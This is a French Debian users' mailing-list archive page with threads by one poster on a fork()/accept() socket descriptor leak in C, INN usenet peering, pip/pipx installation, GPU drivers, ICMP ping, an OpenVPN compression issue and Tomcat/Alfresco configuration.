OpRegion 0x1C00-0x1C3F (\GPRL)
(20230331/utaddress-204)
2024-01-07T18:11:36.030709+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C30-0x1C3F conflicts with
OpRegion 0x1C00-0x1FFF (\GPR)
(20230331/utaddress-204)
2024-01-07T18:11:36.030710+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:11:36.030710+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C00-0x1C2F conflicts with
OpRegion 0x1C00-0x1C3F (\GPRL)
(20230331/utaddress-204)
2024-01-07T18:11:36.030713+01:00 heisenberg kernel: 

Re: [Un peu HS] Truc bizarre avec des sockets Linux

2023-11-24 Thread BERTRAND Joël
Bon, trouvé.

Dans tcpServer.c, il faut remonter d'une ligne close(newSocket).

Désolé pour le bruit.



signature.asc
Description: OpenPGP digital signature


Re: [Un peu HS] Truc bizarre avec des sockets Linux

2023-11-23 Thread BERTRAND Joël
Désolé, j'ai oublié le code serveur.

JB
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define PORT 

int main(){

	int sockfd, ret;
	 struct sockaddr_in serverAddr;

	int newSocket;
	struct sockaddr_in newAddr;

	socklen_t addr_size;

	char buffer[1024];
	pid_t childpid;

	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	if(sockfd < 0){
		printf("[-]Error in connection.\n");
		exit(1);
	}
	printf("[+]Server Socket is created.\n");

	memset(, '\0', sizeof(serverAddr));
	serverAddr.sin_family = AF_INET;
	serverAddr.sin_port = htons(PORT);
	serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

	ret = bind(sockfd, (struct sockaddr*), sizeof(serverAddr));
	if(ret < 0){
		printf("[-]Error in binding.\n");
		exit(1);
	}
	printf("[+]Bind to port %d\n", );

	if(listen(sockfd, 10) == 0){
		printf("[+]Listening\n");
	}else{
		printf("[-]Error in binding.\n");
	}


	while(1){
		newSocket = accept(sockfd, (struct sockaddr*), _size);
		if(newSocket < 0){
			exit(1);
		}
		printf("accept(%d, %d)\n", sockfd, newSocket);
		printf("Connection accepted from %s:%d\n", inet_ntoa(newAddr.sin_addr), ntohs(newAddr.sin_port));

		if((childpid = fork()) == 0){
			close(sockfd);

			while(1){
recv(newSocket, buffer, 1024, 0);
if(strcmp(buffer, ":exit") == 0){
	printf("Disconnected from %s:%d\n", inet_ntoa(newAddr.sin_addr), ntohs(newAddr.sin_port));
	printf("shutdown: %d\n", shutdown(newSocket, SHUT_RDWR));
	printf("close: %d\n", close(newSocket));
	break;
}else{
	printf("Client: %s\n", buffer);
	send(newSocket, buffer, strlen(buffer), 0);
	bzero(buffer, sizeof(buffer));
}
			}
		}

	}

	close(newSocket);


	return 0;
}


signature.asc
Description: OpenPGP digital signature


Re: [Un peu HS] Truc bizarre avec des sockets Linux

2023-11-23 Thread BERTRAND Joël
Je viens de reproduire la chose avec deux bouts de programmes écrits en
C (voir les deux pièces jointes).

hilbert:[~/rpl-test] > ./server
[+]Server Socket is created.
[+]Bind to port 
[+]Listening
accept(3, 4)
Connection accepted from 127.0.0.1:43388
Client: aze
Disconnected from 127.0.0.1:43388
shutdown: 0
close: 0
accept(3, 6)
Connection accepted from 127.0.0.1:49504
Client: aze
Disconnected from 127.0.0.1:49504
shutdown: 0
close: 0

hilbert:[~/rpl-test] > ./client
[+]Client Socket is created.
[+]Connected to Server.
Client: aze
Server: aze
Client: :exit
[-]Disconnected from server.
hilbert:[~/rpl-test] > ./client
[+]Client Socket is created.
[+]Connected to Server.
Client: aze
Server: aze
Client: :exit
[-]Disconnected from server.

Un coup de valgrind montre exactement la même chose lorsque le
processus serveur racine est tué par un SIGINT :

==10415== Process terminating with default action of signal 2 (SIGINT)
==10415==at 0x49A04D0: accept (accept.c:26)
==10415==by 0x109233: main (tcpServer.c:52)
==10415==
==10415== FILE DESCRIPTORS: 7 open (3 std) at exit.
==10415== Open AF_INET socket 6: 127.0.0.1: <-> 127.0.0.1:57256
==10415==at 0x49A04D0: accept (accept.c:26)
==10415==by 0x109233: main (tcpServer.c:52)
==10415==
==10415== Open AF_INET socket 4: 127.0.0.1: <-> 127.0.0.1:46402
==10415==at 0x49A04D0: accept (accept.c:26)
==10415==by 0x109233: main (tcpServer.c:52)
==10415==
==10415== Open AF_INET socket 3: 127.0.0.1: <-> unbound
==10415==at 0x49A0BA7: socket (syscall-template.S:120)
==10415==by 0x109141: main (tcpServer.c:25)
==10415==
==10415== Open file descriptor 5:
==10415==

Les sockets créées par accept() [ici fd=4 et fd=6] restent ouvertes dans
le processus racine du serveur et au bout d'un certain nombre de
connexions (dépendant de la valeur max open files), accept() retourne
une erreur.

À noter : la socket est bien fermée dans le processus créé par fork()
[shutdown + close] et est fermée dans le client.

Merci de vos lumières,

JB
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define PORT 

int main(){

	int clientSocket, ret;
	struct sockaddr_in serverAddr;
	char buffer[1024];

	clientSocket = socket(AF_INET, SOCK_STREAM, 0);
	if(clientSocket < 0){
		printf("[-]Error in connection.\n");
		exit(1);
	}
	printf("[+]Client Socket is created.\n");

	memset(, '\0', sizeof(serverAddr));
	serverAddr.sin_family = AF_INET;
	serverAddr.sin_port = htons(PORT);
	serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

	ret = connect(clientSocket, (struct sockaddr*), sizeof(serverAddr));
	if(ret < 0){
		printf("[-]Error in connection.\n");
		exit(1);
	}
	printf("[+]Connected to Server.\n");

	while(1){
		printf("Client: \t");
		scanf("%s", [0]);
		send(clientSocket, buffer, strlen(buffer), 0);

		if(strcmp(buffer, ":exit") == 0){
			printf("shutdown: %d\n", shutdown(clientSocket, SHUT_RDWR));
			printf("close: %d\n", close(clientSocket));
			printf("[-]Disconnected from server.\n");
			exit(1);
		}

		if(recv(clientSocket, buffer, 1024, 0) < 0){
			printf("[-]Error in receiving data.\n");
		}else{
			printf("Server: \t%s\n", buffer);
		}
	}

	return 0;
}


signature.asc
Description: OpenPGP digital signature


[Un peu HS] Truc bizarre avec des sockets Linux

2023-11-23 Thread BERTRAND Joël
Bonjour à tous,

Je développe le logiciel suivant http://www.rpl2.fr et un utilisateur
du bout du monde vient de me remonter un bug bizarre sur la gestion des
sockets réseau TCP. Je viens de passer la journée dessus et je ne
comprends pas.

Je précise que la fonction a été méchamment testée et qu'il me semble
qu'elle fonctionnait parfaitement lorsqu'elle a été publiée il y a de
cela plusieurs années.

La séquence de commandes C effectuée est la suivante :
- création d'une socket avec socket() et bind() ;
- attente d'une connexion entrante avec accept() ;
- fork() et traitement du client dans le processus fils (y compris la
libération de la socket créée par accept()).

C'est ni plus ni moins que ceci (fonction serve_forever()):
https://gist.github.com/laobubu/d6d0e9beb934b60b2e552c2d03e1409e#file-httpd-c

Dans le langage en question, ça se traduit comme ceci :

SERVEUR
<<
// Création d'une socket TCP écoutant
// sur le port 87 avec un maximum de 16
// sockets clientes.

{
"local" "stream" "flow"
{ "protocol" "ipv4" }
{ "listen" 16 }
{ "port" 87 }
{ "option" "reuse address" }
} open

// Format binaire
{ "length*(*)" } swap format
-> SOCKET
<<
do
   // On attend une connexion
SOCKET wfsock

// Si connexion, on lance un
// traitement dans un processus
// fils.
'CIRCUIT_CONNECTE' detach
// On efface le PID de la pile
drop
// On efface les deux sockets de la pile
drop2
until
false
end
 >>
>>

CIRCUIT_CONNECTE
<<
"Socket connectée" disp
   'SOCKET' sto
   'FERMETURE_SOCKET' atexit

   do
  SOCKET "POLLIN" 2 ->list 1 ->list TIMEOUT_CONNEXION poll
  ...
   until
  ...
   end
>>

FERMETURE_SOCKET
<<
SOCKET close
>>

Si je remplace 'detach' (fork()) par 'spawn' (thread_create()), ça
fonctionne parfaitement bien. Ça peut tourner des heures (j'ai laissé le
processus fonctionner durant plusieurs heures, ce qui correspond à
plusieurs centaines de milliers de connexion sur la socket). Avec
'detach', le programme finit par planter faute de descripteur de socket
disponible (trop de fichiers ouverts).

Je viens de passer le code dans valgrind et je ne comprends pas bien :

Root rayleigh:[~/exemple] > valgrind --track-fds=yes ./connecteur.rpl

+++RPL/2 (R) version 4.1.35 (Jeudi 23/11/2023, 16:42:36 CET)
+++Copyright (C) 1989 à 2022, 2023 BERTRAND Joël
...
socket: 7 <- renvoyée par accept() dans WFSOCK (la socket créée par
socket est la 6)
Socket connectée
close 7 <- fermeture de la socket 7 (par un shutdown() puis close())
close 7 OK
...
socket: 9
Socket connectée
close 9
close 9 OK
==20196== FILE DESCRIPTORS: 7 open (3 std) at exit.
==20196== Open AF_INET socket 7: 127.0.0.1:87 <-> unbound
==20196==at 0x546950F: accept (accept.c:26)
==20196==by 0x5C0661: librpl_instruction_wfsock
(instructions_w1-conv.c:3410)
==20196==by 0x4CC36D: librpl_analyse (analyse-conv.c:1076)
==20196==by 0x4D9C58: librpl_evaluation (evaluation-conv.c:764)
==20196==by 0x5CF16D: librpl_sequenceur_optimise
(optimisation-conv.c:399)
==20196==by 0x5D5A46: librpl_rplinit (rpl-conv.c:5198)
==20196==by 0x466F9D: main (init-conv.c:29)
...

Comment se fait-il que la socket soit toujours ouverte dans le père
(elle a été explicitement fermée dans le processus fils) ? Les
ressources système ne sont pas libérées. Pire, chaque socket cliente
reste ouverte pour le système et le processus parent.

Je résous une partie du problème en rajoutant un close de la socket
cliente après un timeout dans le processus serveur (mais ce n'est pas
satisfaisant).

Je constate aussi que si je ferme dans le processus fils la socket
initiale (celle créée par socket()), accept() râle. Le processus fils
peut donc fermer la socket en attente sur accept() mais s'il ferme la
socket() renvoyée par accept(), il ne la ferme que pour lui-même (et pas
pour le processus père).

La question est donc : suis-je passé à côté de quelque chose ?

J'en reviens donc à ce bout de code :
https://gist.github.com/laobubu/d6d0e9beb934b60b2e552c2d03e1409e#file-httpd-c

Sauf erreur de ma part, dans la fonction serve_forever(), je trouve
bien un accept(), mais jamais de close() sur la socket créée par
accept() (plus exactement, je trouve le close dans le processus détaché
par fork()). Comment ce bout de code peut-il fonctionner sans qu'il ne
finisse par planter par un dépassement du nombre de fichiers ouverts ?

Merci de votre attention,

JB

PS: j'essaie de compiler sur un NetBSD, mais j'ai un problème de
symboles entre ncurses e

Re: Configuration inn

2023-10-17 Thread BERTRAND Joël
yamo' a écrit :
> BERTRAND Joël a tapoté le 17/10/2023 17:10:
>>  Bonjour à tous,
> 
> Bonjour,
> 
>>
>>  Je tente la configuration d'inn (parce que depuis que le service chez
>> Nerim a été laissé en déshérence, je fais avec celui de free.fr qui est
>> à peine mieux...) et il y a un point que je ne comprends pas bien.
> 
> Les serveurs de free ne fonctionnent plus très bien, le système de feed
> a l'air tout cassé depuis un an mais il y en a d'autres!

C'est bien pour cela que je commence à me renseigner sur la chose.

>>
>>  inn est censé se connecter à d'autres serveurs usenet mais comment les
>> trouve-t-il ? Je n'ai rien vu dans la configuration du serveur à ce
>> sujet (ou ça m'a échappé, ce qui est possible). De la même manière,
>> comment les autres serveurs usenet vont savoir qu'il y a un serveur inn
>> sur mon infrastructure ? Un genre de p2p ?
> 
> Il faut l'annoncer sur fr.usenet.distribution et news.admin.peering.
> 
> C'est quoi l'adresse de ton serveur et quels groupes veux tu? Je peut
> t'offrir un feed sans binaires.

Je n'ai pas besoin de binaires, j'ai actuellement dans mon slrn
quelques groupes fr.* et quelques anglophones. S'il y en a une
vingtaine, c'est le bout du monde.

> Au fait, la doc française d'INN2 :
> <https://web.archive.org/web/20230901182332/https://git.alphanet.ch/gitweb/?p=inn-install;a=blob_plain;f=README.html;hb=HEAD#particularit%C3%A9s-debian>

Pour l'instant, la configuration d'inn est un projet que je regarde
parce que je vais devoir me passer du fournisseur actuel qui est un peu
aux fraises. Il n'y a pas d'urgence réelle.

Bien cordialement,

JKB



signature.asc
Description: OpenPGP digital signature


Re: Configuration inn

2023-10-17 Thread BERTRAND Joël
Erwan David a écrit :
> Le 17/10/2023 à 17:05, BERTRAND Joël a écrit :
>> Bonjour à tous,
>>
>> Je tente la configuration d'inn (parce que depuis que le service chez
>> Nerim a été laissé en déshérence, je fais avec celui de free.fr qui est
>> à peine mieux...) et il y a un point que je ne comprends pas bien.
>>
>> inn est censé se connecter à d'autres serveurs usenet mais comment
>> les
>> trouve-t-il ? Je n'ai rien vu dans la configuration du serveur à ce
>> sujet (ou ça m'a échappé, ce qui est possible). De la même manière,
>> comment les autres serveurs usenet vont savoir qu'il y a un serveur inn
>> sur mon infrastructure ? Un genre de p2p ?
>>
>> Bien cordialement,
>>
>> JKB
>>
> Il faut que tu trouves des "peers" avec qui tu vas échanger des
> messages, que tu te mettes d'accord avec leurs administrateurs pour ces
> échanges. De mémoire dans inn ça se configure dans le fichier
> innfeed.conf (mais ça fait TRÈS longtemps que je n'ai pas regardé INN)

Je comprends mieux ainsi, c'est ce qui m'avait échappé.

Merci,

JKB



signature.asc
Description: OpenPGP digital signature


Configuration inn

2023-10-17 Thread BERTRAND Joël
Bonjour à tous,

Je tente la configuration d'inn (parce que depuis que le service chez
Nerim a été laissé en déshérence, je fais avec celui de free.fr qui est
à peine mieux...) et il y a un point que je ne comprends pas bien.

inn est censé se connecter à d'autres serveurs usenet mais comment les
trouve-t-il ? Je n'ai rien vu dans la configuration du serveur à ce
sujet (ou ça m'a échappé, ce qui est possible). De la même manière,
comment les autres serveurs usenet vont savoir qu'il y a un serveur inn
sur mon infrastructure ? Un genre de p2p ?

Bien cordialement,

JKB



signature.asc
Description: OpenPGP digital signature


Installation de bibliothèques python

2023-09-28 Thread BERTRAND Joël
Bonjour à tous,

J'essaye d'installer une bibliothèque python (et je me souviens
pourquoi je hais ce truc, mais c'est une autre histoire).

La bibliothèque en question est pcbnewTransition qui a un makefile.
Parfait, je sais créer le paquet :

[~] > make package

Je me retrouve dans ./dist avec ce qu'il faut, à savoir un fichier whl
et un tar.gz. Et c'est là que ça coince.

pip3 install dist/*.whl m'insulte et me demande d'utiliser pipx
install. Très bien, je suis joueur :

hilbert:[~/git/pcbnewTransition] > pipx install dist/*.whl

No apps associated with package pcbnewTransition or its dependencies. If
you are attempting to install a library, pipx should not be used.
Consider using pip or a similar tool instead.

C'est moi ou ça se mord la queue ? Je veux juste installer (juste pour
un utilisateur, même pas pour l'ensemble du système, ça me suffirait)
une bibliothèque que j'ai compilée pour pouvoir installer KiKit par la
suite. Comment faire simplement puisque pip3 me dit que je n'ai pas le
droit de procéder et que pipx me renvoit à pip3 ?

Bien cordialement,

JB



Re: [testing] passage du pilote proprio à nouveau

2023-09-14 Thread BERTRAND Joël
Gaëtan Perrier a écrit :
> Par exemple le raytracing ne semble pas supporté sur les cartes AMD
> alors qu'il fonctionne sur Nvidia (ainsi que le DLSS) ?

Chez AMD, on trouve le FSR qui semble aussi efficace. Quant au
raytracing, la carte que j'utilise ne doit pas savoir qu'il n'est pas
supporté.

JKB



Re: [testing] passage du pilote nouveau à proprio

2023-09-13 Thread BERTRAND Joël
ajh-valmer a écrit :
> Les cartes Nvidia ont une très bonne qualité de rendu à l'écran.
> avec leur pilote, il y a une configuration sophistiquée de la carte,
> permettant d'améliorer le rendu (nvidia-settings).
> Les pilotes libres n'ont pas cet outil de config.
> Seulement, leurs pilotes ne suivent pas toujours les distributions
> et les versions.

Je leur reproche surtout le fait qu'après quelques années de ne plus
être supportées. J'ai des lots de telles cartes et ça m'a toujours dérangé.

Il n'y a aucune raison /valable/ à cela.



Re: [testing] passage du pilote proprio à nouveau

2023-09-13 Thread BERTRAND Joël
Gaëtan Perrier a écrit :
> Je suis d'accord sur le fond mais le problème c'est que les cartes
> NVIDIA, d'après tout ce je lis, semblent être les plus performantes.
> Là j'envisage de changer de PC car il commence à atteindre ses limites,
> et en cherchant un peu je vois que le support des nouvelles cartes Intel
> ARC semble être foireux, que le support des AMD semble bon et libre mais
> que côté perf ce n'est pas encore ça et au final NVIDIA et devant tout
> le monde mais avec des pilotes proprio. :(

Franchement, j'aimerais bien savoir ce qu'on reproche aux cartes AMD.
J'ai un truc comme ça pour faire de la CAO (bi écran) sur un i9, ça
tient vraiment bien la route, même pour des jeux en 3D :

01:00.0 VGA compatible controller: Advanced Micro Devices, Inc.
[AMD/ATI] Ellesmere [Radeon RX 470/480/570/570X/580/580X/590] (rev ef)
(prog-if 00 [VGA controller])
Subsystem: ASUSTeK Computer Inc. Ellesmere [Radeon RX
470/480/570/570X/580/580X/590]
Flags: bus master, fast devsel, latency 0, IRQ 132
Memory at 42 (64-bit, prefetchable) [size=8G]
Memory at 41 (64-bit, prefetchable) [size=2M]
I/O ports at 4000 [size=256]
Memory at a020 (32-bit, non-prefetchable) [size=256K]
Expansion ROM at 000c [disabled] [size=128K]
Capabilities: [48] Vendor Specific Information: Len=08 
Capabilities: [50] Power Management version 3
Capabilities: [58] Express Legacy Endpoint, MSI 00
Capabilities: [a0] MSI: Enable+ Count=1/1 Maskable- 64bit+
Capabilities: [100] Vendor Specific Information: ID=0001 Rev=1
Len=010 
Capabilities: [150] Advanced Error Reporting
Capabilities: [200] Physical Resizable BAR
Capabilities: [270] Secondary PCI Express
Capabilities: [2b0] Address Translation Service (ATS)
Capabilities: [2c0] Page Request Interface (PRI)
Capabilities: [2d0] Process Address Space ID (PASID)
Capabilities: [320] Latency Tolerance Reporting
Capabilities: [328] Alternative Routing-ID Interpretation (ARI)
Capabilities: [370] L1 PM Substates
Kernel driver in use: amdgpu
Kernel modules: amdgpu



Re: [testing] passage du pilote proprio à nouveau

2023-09-13 Thread BERTRAND Joël
ajh-valmer a écrit :
> On Tuesday 12 September 2023 23:24:24 Gaëtan Perrier wrote:
>> Les pilotes nvidia legacy 390 de sid étant maintenant compatibles avec les
>> kernel jusqu'à 6.5 je suis repassé sur le pilote proprio.
>> Avec nouveau c'était invivable.
> 
> Je n'ai jamais réussi à faire fonctionner correctement un pilote "nouveau".
> Ce sont les pilotes proprio qui fonctionnent vraiment.
> 
> Ce sont les "terroristes libristes" qui imposent d'utiliser que du Libre à 
> 100% mais parfois ce n'est pas possible.

Sans être terroriste libriste, nvidia est un machin qui pose problème
parce qu'au bout d'un certain temps, on se retrouve à devoir utiliser le
pilote libre faute de support. Je boycotte scrupuleusement toutes les
cartes nvidia pour cette raison. Je changerai d'avis sur nvidia le jour
où nvidia daignera fournir les specs de ses cartes.

JKB



Re: Monitorer la connectivité WAN en vue du re-routage

2023-08-26 Thread BERTRAND Joël
Michel Verdier a écrit :
> Le 25 août 2023 Olivier a écrit :
> 
>> 1. Connaissez-vous un document qui justifie techniquement ces
>> "questions de sécurité" ?
> 
> La sécurité en vivant caché :) A l'inverse beaucoup de routeurs répondent
> au ping. Si tu fais un traceroute tu le vois bien.

Surtout que bloquer le ping est une très mauvaise idée (problème de
fragmentation, de session...). Personnellement, lorsqu'un fournisseur
m'impose de bloquer le ping ou renâcle, je change de crèmerie. Le ping,
ce n'est pas simplement un protocole permettant de savoir s'il y a un
machine qui répond (d'autant qu'un nmap -P0 fait ça tout aussi bien).
C'est un protocole important.

Bien cordialement,

JB



Re: Serveur OpenVPN

2023-08-25 Thread BERTRAND Joël
Trouvé.

C'est l'option comp-lzo qui met le bazar. Je l'avais sur les deux
machines clientes (l'une est sur un accès Wanadoo-Santé de 512 kbps, si,
si, ça existe /encore/), l'autre sur un accès GPRS. Je n'avais pas cette
option côté serveur. Visiblement, jusqu'à la dernière version d'OpenVPN,
le chiffrement asymétrique était autorisé. Là, même en l'autorisant
explicitement, ça ne fonctionnait pas. Donc suppression des deux
comp-lzo sur les clients et ça fonctionne à nouveau.

JKB



Serveur OpenVPN

2023-08-25 Thread BERTRAND Joël
Bonjour à tous,

J'ai un petit souci avec un serveur OpenVPN (qui fonctionnait
parfaitement jusqu'ici). Les clients se connectent bien sur le serveur
mais rien ne passe sur l'interface tap0. Je n'ai rien de particulier
dans les sorties d'OpenVPN (même avec verb=10).

Le serveur est sur une machine régulièrement mise à jour. Les clients
vivent leur vie et sont mis à jour nettement moins souvent (ça ne dépend
pas de moi).

Lorsque je lance le serveur, je trouve ceci :

2023-08-25 16:58:39 86.212.205.101:58146 TLS: Initial packet from
[AF_INET]86.212.205.101:58146, sid=b28dac4a 65656374
2023-08-25 16:58:40 86.212.205.101:58146 VERIFY OK: depth=1, C=FR,
ST=FR, L=Paris, O=Systella, CN=Systella CA,
emailAddress=joel.bertr...@systella.fr
2023-08-25 16:58:40 86.212.205.101:58146 VERIFY OK: depth=0, C=FR,
ST=FR, L=Paris, O=Systella, CN=cervantes,
emailAddress=joel.bertr...@systella.fr
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_VER=2.4.6
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_PLAT=linux
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_PROTO=2
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_NCP=2
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_LZ4=1
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_LZ4v2=1
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_LZO=1
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_COMP_STUB=1
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_COMP_STUBv2=1
2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_TCPNL=1
2023-08-25 16:58:40 86.212.205.101:58146 TLS: move_session:
dest=TM_ACTIVE src=TM_INITIAL reinit_src=1
2023-08-25 16:58:40 86.212.205.101:58146 TLS: tls_multi_process: initial
untrusted session promoted to trusted
2023-08-25 16:58:40 86.212.205.101:58146 Control Channel: TLSv1.3,
cipher TLSv1.3 TLS_AES_256_GCM_SHA384, peer certificate: 1024 bit RSA,
signature: RSA-SHA1
2023-08-25 16:58:40 86.212.205.101:58146 [cervantes] Peer Connection
Initiated with [AF_INET]86.212.205.101:58146
2023-08-25 16:58:40 cervantes/86.212.205.101:58146 MULTI_sva: pool
returned IPv4=192.168.2.2, IPv6=(Not enabled)
2023-08-25 16:58:40 cervantes/86.212.205.101:58146 OPTIONS IMPORT:
reading client specific options from: /etc/openvpn/ccd/cervantes
2023-08-25 16:58:41 cervantes/86.212.205.101:58146 Data Channel: cipher
'AES-256-GCM', peer-id: 0
2023-08-25 16:58:41 cervantes/86.212.205.101:58146 Timers: ping 10,
ping-restart 240
2023-08-25 16:58:41 cervantes/86.212.205.101:58146 PUSH: Received
control message: 'PUSH_REQUEST'
2023-08-25 16:58:41 cervantes/86.212.205.101:58146 SENT CONTROL
[cervantes]: 'PUSH_REPLY,route-gateway 192.168.2.1,ping 10,ping-restart
120,ifconfig 192.168.2.5 255.255.255.0,peer-id 1,cipher AES-256-GCM'
(status=1)
2023-08-25 16:58:51 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:58:56 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:00 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:06 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:10 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:17 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:21 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:26 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:31 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:36 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:41 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:46 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 16:59:50 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 16:59:57 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 17:00:00 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 17:00:07 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 17:00:11 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146
2023-08-25 17:00:17 nietzsche/92.184.124.63:50216 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216
2023-08-25 17:00:21 cervantes/86.212.205.101:58146 MULTI: Learn:
1e:b4:cb:07:ed:2d@0 

Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-07 Thread BERTRAND Joël
Etienne Vogt a écrit :
> 
> Une possible piste est que tomcat9 a des protections additionnelles par
> rapport à tomcat8, donc si on installe une servlet ailleurs que dans les
> chemins par défaut, il faut autoriser l'accès dans
> /etc/systemd/system/tomcat9.service
> 
> Par ex. pour un IdP Shibboleth sous tomcat9, j'ai du ajouter :
> 
> ReadWritePaths=/opt/shibboleth-idp/logs/
> ReadWritePaths=/opt/shibboleth-idp/metadata/
> 
> pour que cela fonctionne.

Merci de vous être penché sur le sujet. C'était déjà un tomcat9 avec
ces ReadWritePaths. Alfresco est un truc à s'arracher les cheveux lors
de l'installation (je pense que c'est fait pour que les gens prennent le
support payant). Après quelques frayeurs concernant l'intégrité des
données, j'y suis arrivé.

Il y a des chemins qui sont maintenant codés en dur. C'est ça qui pose
problème. Et il ne faut pas oublier de patcher les jar grâce à l'outil
solr (celui fourni par alfresco dans un second package, le jar originel
ne suffit pas). De la même manière, le jodconverter est tout cassé (il
faut filer un chemin sur la ligne de commande qui n'est pas celui qui
est retourné dans l'erreur Java). Sans compter que le solr fourni
demande dans la doc java 8 et qu'il est compilé... pour fonctionner à
partir de la 11.

Je vais essayer d'écrire un tuto sur l'installation d'Alfresco sur
Debian/Devuan.



Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-06 Thread BERTRAND Joël
didier gaumet a écrit :
> Le 06/07/2023 à 08:26, BERTRAND Joël a écrit :
>> didier gaumet a écrit :
>>> Mais ceci étant, le lien -bien qu'extrait du site Alfresco- que je t'ai
>>> indiqué semble justement expliquer comment installer et configurer
>>> *Tomcat* pour le bon fonctionnement d'Alfresco, entre autres les
>>> chemins, mais pas seulement
>>>
>>> Mais bon, j'ai peut-être rien compris, hein :-)
>>
>> Mais si, mais si... Mais le problème n'est pas exactement là. Ce ne
>> sont pas les classes qui ne sont pas trouvées, mais le fait que ces
>> classes appellent des scripts et des binaires dans le /bin local
>> d'alfresco. Et tomcat cherche ces bouts de code dans $CATALINA_HOME et
>> $CATALINA_BASE. Avant la mise à jour de tomcat, j'avais rusé en collant
>> l'une des deux variables vers la racine d'installation d'alfresco, ce
>> qui ne fonctionne plus aujourd'hui.
>>
>> En d'autres termes, toutes les classes sont bien trouvées, ce sont
>> les
>> programmes annexes qui manquent à l'appel.
>>
>>
> 
> J'espère que je n'insiste pas de manière déplaisante vu que j'ai peine à
> comprendre globalement ce dont on parle,
> 
> mais ce qui suit (extrait du lien précédent) ne concerne-t-il pas
> justement la configuration dans Tomcat de l'emplacement des classes *et*
> des bibliothèques (je crois comprendre confusément que c'est ce qui te
> manque)?
> 
> [...]
> "
> Create an additional classpath to Tomcat, which will be shared among all
> web applications.
> 
>     Create the directories required for a Content Services installation
> under :
>     Create the shared/classes directory.
>     Create the shared/lib directory.
> 
>     Open the /conf/catalina.properties file.
> 
>     Change the value of the shared.loader= property to the following:
> 
> 
> shared.loader=${catalina.base}/shared/classes,${catalina.base}/shared/lib/*.jar
> 
> "

Si, c'est bien ça. Mais Alfresco utilise aussi une foultitude de
scripts et ça met un bazar sans nom dans les fichiers de conf dont les
chemins sont par défaut CATALINA_HOME.

La seule solution simple, c'est de suivre la doc en question *en
installant alfresco dans /var/lib/tomcat9*. Sinon, alfresco se lance
mais tomcat ne répond plus. Antérieurement, ça fonctionnait pourtant
bien, c'est ce que j'avais installé. Mais depuis la dernière mise à jour
de tomcat, ça coince.

J'en suis à avoir les deux services tomcat share et alfresco qui
tournent, j'arrive à me connecter, mais je n'ai accès à aucun de mes
fichiers. Il me reste un access denied sur un script et je ne vois pas
encore où.

2023-07-06 12:25:10,484  INFO  [web.site.EditionInterceptor]
[ajp-nio-127.0.0.1-8009-exec-1] Successfully retrieved license
information from Alfresco.
 2023-07-06 12:25:12,181  ERROR [extensions.webscripts.AbstractRuntime]
[http-nio-8080-exec-4] Exception from executeScript: 06060040 Access
refusé.  Vous n'avez pas la permission de réaliser cette opération.
org.alfresco.repo.security.permissions.AccessDeniedException: 06060040
Access refusé.  Vous n'avez pas la permission de réaliser cette opération.
at
